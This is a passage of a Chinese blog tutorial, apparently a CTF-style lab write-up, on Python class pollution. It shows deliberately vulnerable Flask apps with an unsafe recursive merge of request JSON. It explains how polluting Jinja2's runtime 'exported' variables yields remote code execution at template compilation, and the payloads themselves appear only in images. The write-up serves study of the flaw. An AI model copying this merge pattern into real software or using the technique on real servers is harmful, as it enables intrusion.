      merge(json.loads(request.data), instance)
    return render_template("index.html", flag = open("flag", "rt").read())

app.run(host="0.0.0.0")
</code></pre>
<pre><code>#flag

flag{U_Find_Me}
</code></pre>
<p>直接访问会由于没有设定<code>permission</code>值导致<code>if</code>条件为假返回<code>No way!</code>而不是<code>flag</code></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105334386-1640095407.png" alt="" loading="lazy"></p>
<p>所以将其赋值为任意逻辑非空值让条件为真即可</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105340856-1273225698.png" alt="" loading="lazy"></p>
<h5 id="模板编译时的变量">模板编译时的变量</h5>
<p>在<code>flask</code>中如使用<code>render_template</code>渲染一个模板实际上经历了多个阶段的处理,其中一个阶段是对模板中的<code>Jinja</code>语法进行解析转化为<code>AST</code>,而在语法树的根部即<code>Lib/site-packages/jinja2/compiler.py</code>中<code>CodeGenerator</code>类的<code>visit_Template</code>方法纯在一段有趣的逻辑</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105350870-1852736359.png" alt="" loading="lazy"></p>
<p>该逻辑会向输出流写入一段拼接的代码(输出流中代码最终会被编译进而执行),注意其中的<code>exported_names</code>变量,该变量为<code>.runtime</code>模块(即<code>Lib/site-packages/jinja2/runtime.py</code>)中导入的变量<code>exported</code>和<code>async_exported</code>组合后得到,这就意味着我们可以通过污染<code>.runtime</code>模块中这两个变量实现RCE。由于这段逻辑是模板文件解析过程中必经的步骤之一,所以这就意味着只要渲染任意的文件均能通过污染这两属性实现RCE。</p>
<p>给出模拟的环境如下:</p>
<pre><code>#templates/index.html

&lt;html&gt;
&lt;h1&gt;nt here~&lt;/h1&gt;
&lt;body&gt;   
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
      merge(json.loads(request.data), instance)
    return render_template("index.html")

app.run(host="0.0.0.0")
</code></pre>
<pre><code>#static/
#是个空目录,方便直接利用static目录读取flag
</code></pre>
<pre><code>#flag

flag{U_Find_Me}
</code></pre>
<p>进行<code>RCE</code>将<code>flag</code>写入<code>static</code>目录中</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105403597-2048680133.png" alt="" loading="lazy"></p>
<p>但是需要注意插入<code>payload</code>的位置是AST的根部分,是作为模板编译时的处理代码的一部分,同样受到模板缓存的影响,也就是说这里插入的<code>payload</code>只会在模板在第一次访问时触发</p>
<p>然后就能在<code>static</code>目录下读取到<code>flag</code>了</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105412943-162869241.png" alt="" loading="lazy"></p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li>2023IdekCTFWriteup | Y4tacker's Blog</li>
<li>prototype-pollution-in-python/abdulrah33m.com</li>
<li>ctf-writeups/idekCTF 2022/task manager at master · Myldero/ctf-writeups · GitHub</li>
<li>Welcome to Flask — Flask Documentation (2.2.x) (palletsprojects.com)</li>
<li>Jinja — Jinja Documentation (2.10.x) (palletsprojects.com)</li>
</ul><br><br>
来源:https://www.cnblogs.com/Article-kelp/p/17068716.html
頁: [1]
查看完整版本: Python原型链污染(prototype-pollution-in-python)